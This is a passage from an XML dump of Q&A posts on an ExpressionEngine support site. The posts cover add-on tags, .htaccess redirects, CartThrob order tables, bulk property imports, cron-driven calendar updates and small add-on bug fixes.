tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the documentation here: &lt;a href=&quot;http://gotolow.com/addons/low-reorder/docs/tags&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-reorder/docs/tags&lt;/a&gt; all of the parameters you can use in exp:channel:entries are supported:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;The Entries tag supports all channel:entries parameters and variables. Any filters will be overridden by the given parameters, unless you set force_set_params to yes. The dynamic parameter is automatically set to no, if not explicitly set to yes.&quot;&lt;/p&gt;&#xA;" OwnerUserId="2934" LastActivityDate="2015-09-03T15:18:24.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32912" PostTypeId="2" ParentId="32897" CreationDate="2015-09-03T15:23:38.340" Score="0" Body="&lt;p&gt;This seems like a front-end thing, but I kind of have no idea what a sticky is. Try this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make a sticky field output on your form. Use your developer console (F12 on Windows with Chrome or Firefox), and investigate the sticky input. I'm going to bet it has a sticky class, something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input id=&quot;whatever&quot; class=&quot;whatever whatever-sticky&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So whatever the sticky class is, add it to your manual input field.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-09-03T15:23:38.340" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32913" PostTypeId="2" ParentId="32904" CreationDate="2015-09-03T15:53:00.877" Score="0" Body="&lt;p&gt;Our DB is updated every hour with purchases for support if you buy them on Devot-ee. If you contact us we will provide you an updated version. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-09-03T15:53:00.877" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32915" PostTypeId="1" CreationDate="2015-09-03T19:21:08.013" Score="0" ViewCount="156" Body="&lt;p&gt;I'm a software developer but I don't specialise in PHP and have had no real prior experience with Expression Engine. A friend of mine who runs an estate agents has had a new website built in EE, but the people doing it are more front-end/graphic design experienced and were unable to implement one bit of much-needed functionality - automatically importing properties to the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, they have some property management software that will export a file in RightMove BLM (v3) format containing details of all the properties, along with associated images for each property, to an FTP server. There is a CodeIgniter module available to parse this format (&lt;a href=&quot;http://biostall.com/codeigniter-rightmove-blm-parser-library&quot; rel=&quot;nofollow&quot;&gt;http://biostall.com/codeigniter-rightmove-blm-parser-library&lt;/a&gt;), and it is also specified on the RightMove website. They would want some process to look at these files and do a full refresh of their Lettings channel within EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to achieve this with EE? My initial thought was to write a standalone script to do the importing, but I don't know how to use the EE API from 'outside' EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or pointers would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&lt;/p&gt;&#xA;" OwnerUserId="6630" LastActivityDate="2016-03-24T14:36:18.397" Title="Bulk Import to Expression Engine" Tags="|ee2|channel-entries|import|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32916" PostTypeId="2" ParentId="32775" CreationDate="2015-09-03T19:43:27.373" Score="1" Body="&lt;p&gt;This is possible and the solution is quite simple:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;add the reference to the image in an anchor tag: Medium&lt;/li&gt;&#xA;&lt;li&gt;Add the following code to the .htaccess file:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&#xA;  Header set Content-Disposition attachment&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;a href=&quot;http://southernlivingplants.com/resources/image-gallery&quot; rel=&quot;nofollow&quot;&gt;http://southernlivingplants.com/resources/image-gallery&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2015-09-03T19:43:27.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32918" PostTypeId="2" ParentId="32915" CreationDate="2015-09-03T19:56:22.100" Score="0" Body="&lt;p&gt;It's very possible, I'm doing something similar with a UK jobs board (Broadbean) which POSTs XML and populates an ExpressionEngine channel. It even accepts an update (has it seen this ID before) and will update the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case I didn't create an ExpressionEngine Module but rather a script that would accept the POSTed feed from an authenticated user, purely as it meant it was one less thing to update or worry about when EE changed and I wanted it to be fire and forget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that puts your mind at rest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;John&lt;/p&gt;&#xA;" OwnerUserId="173" LastActivityDate="2015-09-03T19:56:22.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32919" PostTypeId="1" CreationDate="2015-09-03T20:15:36.703" Score="0" ViewCount="73" Body="&lt;p&gt;Would like to setup an EE template that I can run cron jobs through. With Solspace Calendar's {exp:calendar:ics_update}, I can create a template to include selected calendars and can dynamically set different update cycles (e.g. one a week, twice a week, daily) on the template via a custom channel field for calendar_calendars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some calendars which we want to import from don't have ICS files or have more information on other export formats so we use Solspace Importer for these.  The only way I see setting up cron jobs for these is doing it directly and not with a template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I know the answer, but would there be a way to do the same for Importer imports as Calendar imports?  If not, would be great to add a similar feature for Solspace Importer.&lt;/p&gt;&#xA;" OwnerUserId="328" LastActivityDate="2016-06-15T16:09:52.703" Title="Cron for Solspace Calendar and Importer" Tags="|solspace-calendar|solspace-importer|cron|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33920" PostTypeId="2" ParentId="32919" CreationDate="2015-09-04T01:30:33.127" Score="0" Body="&lt;p&gt;Importer does not support importing Calendar entries. Only ICS files can be used for import.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend submitting this as a Feature Request under the specific add-on category. It'll also give other users the option to vote up the feature request, and help us prioritize features to add in upcoming versions of this add-on. :)&#xA;&lt;a href=&quot;http://support.solspace.com/support/discussions&quot; rel=&quot;nofollow&quot;&gt;http://support.solspace.com/support/discussions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for your templates using &lt;code&gt;{exp:calendar:ics_update}&lt;/code&gt;, you could use your server's &lt;code&gt;wget&lt;/code&gt; command in your cron job to access the URL that contains this Calendar tag to update calendars with ICS files.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-09-04T01:30:33.127" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33921" PostTypeId="2" ParentId="32890" CreationDate="2015-09-04T03:33:27.897" Score="1" Body="&lt;p&gt;(I'm with Vector, the company behind CartThrob).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How familiar are you with you the basic ExpressionEngine table setup? CartThrob uses standard ExpressionEngine entries to store orders and member data, so familiarity with that would help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All orders are stored as new rows in &lt;code&gt;exp_channel_titles&lt;/code&gt; and &lt;code&gt;exp_channel_data&lt;/code&gt;. This has the same setup as any other ExpressionEngine entry-- metadata about the order is in &lt;code&gt;_titles&lt;/code&gt; while specific custom field data is in &lt;code&gt;_data&lt;/code&gt;. &lt;code&gt;exp_channel_titles.author_id&lt;/code&gt; is the &lt;code&gt;member_id&lt;/code&gt; of the user that placed the order. The order ID/number is the &lt;code&gt;entry_id&lt;/code&gt;, which is the primary key on both tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have an order from &lt;code&gt;_data&lt;/code&gt; and &lt;code&gt;_titles&lt;/code&gt;, you can grab the &lt;code&gt;author_id&lt;/code&gt; and look that up as the &lt;code&gt;member_id&lt;/code&gt; in &lt;code&gt;exp_members&lt;/code&gt; and &lt;code&gt;exp_member_data&lt;/code&gt;, which are standard ExpressionEngine tables for storing member information. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, with the order ID/&lt;code&gt;entry_id&lt;/code&gt;, you can also query &lt;code&gt;exp_cartthrob_order_items&lt;/code&gt; to see what specific products were ordered as part of the orders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if you need any further information! And, feel free to &lt;a href=&quot;https://www.cartthrob.com/support/index.php?pg=request&quot; rel=&quot;nofollow&quot;&gt;let us know&lt;/a&gt; if we can be of more project-specific help.&lt;/p&gt;&#xA;" OwnerUserId="376" LastActivityDate="2015-09-04T03:33:27.897" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33922" PostTypeId="1" CreationDate="2015-09-04T10:02:37.223" Score="2" ViewCount="304" Body="&lt;p&gt;I've got a somewhat standard &lt;code&gt;.htaccess&lt;/code&gt; for removing &lt;code&gt;index.php&lt;/code&gt; from my EE1 URLs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteBase /&#xA;&#xA;RewriteCond %{REQUEST_URI} ^/$ [NC]&#xA;RewriteCond %{QUERY_STRING} ^(utm_source=.*)&#xA;RewriteRule ^(.*)$ /index.php?/ [L,PT]&#xA;&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php?/$1 [L]&#xA;&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteCond %{QUERY_STRING} (.+)&#xA;RewriteRule ^(.*)$ /index.php?/$1&amp;amp;%1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I need to do is redirect calls to a subfolder (&lt;code&gt;/store&lt;/code&gt;) to a new subdomain (&lt;code&gt;store.example.com&lt;/code&gt;). So I added this line at the top:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Redirect 301 /store http://store.example.com/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, the end result is that I get redirected to &lt;code&gt;http://store.example.com//?/store/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried a few variations, such as moving the line to the bottom, but nothing worked properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do a 301 redirect (using &lt;code&gt;.htaccess&lt;/code&gt;) without including the extra &lt;code&gt;/?/store/&lt;/code&gt; bit at the end?&lt;/p&gt;&#xA;" OwnerUserId="544" LastActivityDate="2017-05-05T17:40:21.537" Title="Clean 301 redirects using an .htaccess that also removes index.php" Tags="|htaccess|redirects|rewrite|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33923" PostTypeId="1" CreationDate="2015-09-04T12:46:16.267" Score="0" ViewCount="36" Body="&lt;p&gt;Even though I have changed the default theme to something else, for me and me only, it is stuck on the old theme. When I log in as another member, I see the new forum theme, but as soon as I switch back to my account I see the old theme still. Is there a database table created where it associates that particular member with that theme? If so, where can I find it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers.&lt;/p&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2016-05-23T15:24:13.977" Title="Discussion Forum Theme is stuck on Default" Tags="|forum|discussion|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33924" PostTypeId="2" ParentId="33922" CreationDate="2015-09-04T13:25:07.113" Score="1" Body="&lt;p&gt;Try a RedirectMatch rule and see what you get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RedirectMatch 301 ^/store/?$ http://store.example.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-09-04T13:25:07.113" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33925" PostTypeId="1" CreationDate="2015-09-04T13:46:17.297" Score="0" ViewCount="61" Body="&lt;p&gt;Is it possible to create a table that shows a count of the entries made per author and per month. Example would be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Author | Jan | Feb | Mar&lt;/p&gt;&#xA;&#xA;&lt;p&gt;John Doe | 5 | 8 | 4 &lt;br&gt;&#xA;Mad Man | 6 | 3 | 8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would be needed for a complete year&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help greatly appreciated even if an add-On is needed&lt;/p&gt;&#xA;" OwnerUserId="3433" LastEditorUserId="3433" LastEditDate="2015-09-08T06:32:39.667" LastActivityDate="2016-06-09T18:36:08.983" Title="Show Entries per author and per month" Tags="|channel-entries|date|count|author|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33926" PostTypeId="2" ParentId="32822" CreationDate="2015-09-04T17:14:17.183" Score="0" Body="&lt;p&gt;These are the steps I took to get it to work.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;edit EE system config.php:&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$config[‘uri_protocol’] = ‘QUERY_STRING’;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Expression Engine control panel:&lt;br/&gt;&#xA;Force URL query strings = Off&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;rewrites:&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;rule 1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;^(dept1|dept2|dept3)/?(.*)$&#xA;{R:1}/index.php?/{R:1}/{R:2}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;rule 2:    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;^(.*)$&amp;lt;br/&amp;gt;&#xA;ABC/index.php?/{R:1}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also added 'ignore if file' and 'ignore if folder' so the site would display correctly and so I could get into the EE admin control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The entire block of rules is viewable &lt;a href=&quot;https://ellislab.com/forums/viewthread/248179/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; where I posted the same question on the Ellis Labs site.&lt;/p&gt;&#xA;" OwnerUserId="6604" LastEditorUserId="6604" LastEditDate="2015-09-05T17:42:57.947" LastActivityDate="2015-09-05T17:42:57.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33927" PostTypeId="1" CreationDate="2015-09-04T18:19:56.563" Score="0" ViewCount="34" Body="&lt;p&gt;Working on our new Cartthrob install, I want to hide the shipping and tax fields on both the cart page and the checkout page if either the shipping or tax are $0.00...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried this for shipping:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if exp:cartthrob:cart_shipping != &quot;$0.00&quot;}&#xA;    &amp;lt;tr&amp;gt;&#xA;      &amp;lt;td&amp;gt;&#xA;        Shipping&#xA;      &amp;lt;/td&amp;gt;&#xA;      &amp;lt;td&amp;gt;&#xA;      {exp:cartthrob:cart_shipping}&#xA;      &amp;lt;/td&amp;gt;&#xA;   &amp;lt;/tr&amp;gt;&#xA;   {/if} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But doesn't seem to do what I want... Any suggestions or maybe I'm just not using the tag correctly?&lt;/p&gt;&#xA;" OwnerUserId="6442" LastActivityDate="2016-06-17T04:28:40.353" Title="Cartthrob display fields only if shipping or tax has a value greater than $0.00" Tags="|cartthrob|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33928" PostTypeId="2" ParentId="25575" CreationDate="2015-09-04T20:26:42.540" Score="0" Body="&lt;p&gt;Also helpful is this bug report and workaround by on Github by diogomiguel:&#xA;&lt;a href=&quot;https://github.com/EllisLab/Cookie-Consent/issues/2&quot; rel=&quot;nofollow&quot;&gt;https://github.com/EllisLab/Cookie-Consent/issues/2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I found the line numbers a little off, with line 111 actually needing to be line 107 and line 98 actually 96)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Cookie consent tries to clear csrf token preventing forms from being&#xA;  submitted on newer versions of Expression Engine (tested with 2.8).&#xA;  Possible workaround solution, is to add an if statement to prevent&#xA;  csrf token from being cleared. If extension-&gt;end_script is called on&#xA;  the same function, the problem will occur during the first submission&#xA;  too.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Temporary suggested solution:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;add to ext.cookie_consent.php (Line 111):&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;if ($name == $data['prefix'] . 'csrf_token') {&#xA;      continue; } comment out on same file (Line 98)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;//$this-&gt;EE-&gt;extensions-&gt;end_script = TRUE;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3866" LastActivityDate="2015-09-04T20:26:42.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33929" PostTypeId="1" CreationDate="2015-09-04T20:56:18.193" Score="0" ViewCount="422" Body="&lt;p&gt;I'm using the Structure field type as pictured.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Aj7sA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Aj7sA.png&quot; alt=&quot;Structure&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The only thing my template will output is {field_name}, which yields:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://domain.com/my-structure-url&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://domain.com/my-structure-url&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;But I need to access/display more info. If I could get the entry_id or url_title, I could run a channel entries loop, but it appears that's not available. Ideas?&lt;/p&gt;&#xA;" OwnerUserId="225" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2020-10-06T16:00:15.087" Title="Structure field type - how do I get additional entry data to display?" Tags="|channel-entries|structure|fieldtype|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33934" PostTypeId="1" AcceptedAnswerId="35635" CreationDate="2015-09-05T18:51:27.143" Score="0" ViewCount="20" Body="&lt;p&gt;I need advise choosing a good reliable hoster for a new EE build with MSM and a mix of 6 .SE and .ORG domains. Preferrably in Sweden because the organisations I work with want a local host. Thanks a lot for advise.&lt;/p&gt;&#xA;" OwnerUserId="1615" LastEditorUserId="1615" LastEditDate="2015-09-06T07:54:53.350" LastActivityDate="2016-02-22T14:49:33.507" Title="Advise host Sweden for EE build with MSM" Tags="|multi-site-manager|hosting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33935" PostTypeId="1" AcceptedAnswerId="33948" CreationDate="2015-09-06T00:23:36.727" Score="0" ViewCount="70" Body="&lt;p&gt;I have a set of categories within a single group that I apply to entries in a channel to differentiate different classes of document (FAQs, Case-Studies etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've set up a listing page that uses Low Segment2Cat to pull just the channel entries within a particular category into a list.  The channel tag looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;resources&quot; category=&quot;{segment_2_category_id}&quot; dynamic=&quot;no&quot; require_entry=&quot;no&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works just fine, but I would like to reorder the entries pulled by this request.  So I've created a Low Reorder set to do this for each category - so there is a reorder set called &quot;faqs&quot; that reorders the resource entries with category &quot;faqs&quot; - in total one Low Reorder set for each relevant category, each named the same as the category_url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With all this set up, I had hoped that I could then use the {segment_2} value to select which Low Reorder set to pull list entries from - and so get them in the right order.  However, this tag-pair&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_reorder:entries set=&quot;{segment_2}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;simply doesn't work - it produces no results at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone got any ideas how I can get this tag-pair to work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help.&lt;/p&gt;&#xA;" OwnerUserId="6060" LastActivityDate="2015-09-08T08:29:50.733" Title="How to select Low Reorder set from content of {segment_n}?" Tags="|low-seg2cat|low-reorder|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33936" PostTypeId="2" ParentId="20901" CreationDate="2015-09-06T14:33:30.260" Score="0" Body="&lt;p&gt;There's two ways to go about this that I can think of.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Option A&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can have &lt;strong&gt;separate Content Element code&lt;/strong&gt; for the listing page vs the single-entry page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Listing page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{content_a}&#xA;    {wygwam:excerpt}&#xA;        {value}&#xA;    {/wygwam}&#xA;    &amp;lt;a href=&quot;#&quot;&amp;gt;Read More...&amp;lt;/a&amp;gt;&#xA;{/content_a}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Single-entry page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{content_a}&#xA;    {wygwam} // shows the entirety of the Wygwam field&#xA;        {value}&#xA;    {/wygwam}&#xA;&#xA;    // Also include the other field types:&#xA;    {image} ... {/image}&#xA;    {video} ... {/video}&#xA;{/content_a}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Option B&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can have an entirely separate Wygwam field (called &lt;code&gt;content_summary&lt;/code&gt; here) for the summary/excerpt, leaving the Content Elements field dedicated to the full article content:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Listing page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{content_summary}&#xA;&amp;lt;a href=&quot;#&quot;&amp;gt;Read More...&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Single-entry page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{content_a}&#xA;    {wygwam}&#xA;        {value}&#xA;    {/wygwam}&#xA;&#xA;    // Also include the other field types:&#xA;    {image} ... {/image}&#xA;    {video} ... {/video}&#xA;{/content_a}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="544" LastEditorUserId="544" LastEditDate="2015-09-06T14:39:17.360" LastActivityDate="2015-09-06T14:39:17.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33937" PostTypeId="2" ParentId="30567" CreationDate="2015-09-06T22:02:18.663" Score="0" Body="&lt;p&gt;EE 2.10.1 and MX Cloner 1.2.8 with Zenbu: still 404.&#xA;Solution: in acc.mx_cloner.php, find line 42. &#xA;Replace:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; _href = $(this).children(&quot;td:first&quot;).next().children(&quot;a:first&quot;).attr(&quot;href&quot;)+&quot;&amp;amp;clone=y&amp;amp;use_autosave=n&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_href = $(this).children(&quot;td:first&quot;).nextAll().eq(1).children(&quot;a:first&quot;).attr(&quot;href&quot;)+&quot;&amp;amp;clone=y&amp;amp;use_autosave=n&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6245" LastActivityDate="2015-09-06T22:02:18.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33939" PostTypeId="1" CreationDate="2015-09-07T13:14:12.863" Score="0" ViewCount="58" Body="&lt;p&gt;We have a few different shipping options set up on the site, but in the admin area when editing the shipping for a particular order just a free text field is provided rather than a drop down of the shipping options. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is it possible to change this to a drop down - so that its easier to control the values entered in that field?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally - changes to shipping made in the admin don't update the shipping data available via the order tag. So any 'order dispatched' emails still show the shipping details made at checkout - rather than those updated by the admin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there a way to show the final shipping option in the emails?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="785" LastEditorUserId="785" LastEditDate="2015-09-07T13:28:28.320" LastActivityDate="2016-05-23T05:38:59.257" Title="Exp:resso Store - Admin Shipping Fields detached from main Shipping data" Tags="|expresso-store|shipping|admin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33941" PostTypeId="2" ParentId="32481" CreationDate="2015-09-07T13:32:43.343" Score="0" Body="&lt;p&gt;Had to add jQuery UI myself on the page as the EE version is outdated and doesn't include sortable. &lt;/p&gt;&#xA;" OwnerUserId="97" LastActivityDate="2015-09-07T13:32:43.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33943" PostTypeId="2" ParentId="33923" CreationDate="2015-09-07T15:00:36.673" Score="0" Body="&lt;p&gt;Found out why. You just need to revert the 'forum_theme' in the 'exp_members table' to NULL and then multiple forums will work with their default theme instead of being explicitly set to one theme throughout.&lt;/p&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2015-09-07T15:00:36.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33945" PostTypeId="1" AcceptedAnswerId="33949" CreationDate="2015-09-07T22:28:12.090" Score="0" ViewCount="84" Body="&lt;p&gt;I'm trying to see why it takes almost 3-4 seconds for my template render. I enabled template debugging. Looking at the output, I have computed 0.7 seconds between two steps in the templating process:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5fhuC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5fhuC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not exactly sure what it means. Did the HTML Minification take .7 seconds? Or was it Mo' Variables?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, should I be concerned about memory usage when trying to figure out bottlenecks in my templates?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2015-09-08T09:45:38.517" Title="Template Debugging: which entry is actually slow?" Tags="|templates|speed|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33946" PostTypeId="1" AcceptedAnswerId="33959" CreationDate="2015-09-07T23:08:17.493" Score="0" ViewCount="37" Body="&lt;p&gt;Is it possible to filter Expresso Store 2 orders between two dates in a template? EG the customer wants to see all their orders between 2013 and 2014.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&lt;/p&gt;&#xA;" OwnerUserId="1380" LastActivityDate="2015-09-08T18:55:40.790" Title="expresso store orders between date range" Tags="|expresso-store|devdemon|expresso|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33947" PostTypeId="1" CreationDate="2015-09-08T08:09:27.447" Score="0" ViewCount="35" Body="&lt;p&gt;Forum subscribe is only displaying my first board, I have another board but for some reason it does not output the forums for that one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know how i can target the second board?&lt;/p&gt;&#xA;" OwnerUserId="3335" LastEditorUserId="-1" LastEditDate="2015-09-22T16:49:21.300" LastActivityDate="2016-06-07T11:59:32.870" Title="Forum Subscribe - Multiple Boards" Tags="|devdemon|forum|discussion|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33948" PostTypeId="2" ParentId="33935" CreationDate="2015-09-08T08:29:50.733" Score="0" Body="&lt;p&gt;In cases like this, it is good practice to turn on the template debugger and look for any messages that might indicate why the tag returns no results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First off, &lt;code&gt;{segment_2}&lt;/code&gt; must be identical to the Low Reorder set name. If it isn't, then no results will be returned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the name is correct, but the set has the option of &quot;Show entries per single category&quot; enabled, then a category ID is required as well. If no category=&quot;&quot; param is set, then no results will be returned.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-09-08T08:29:50.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
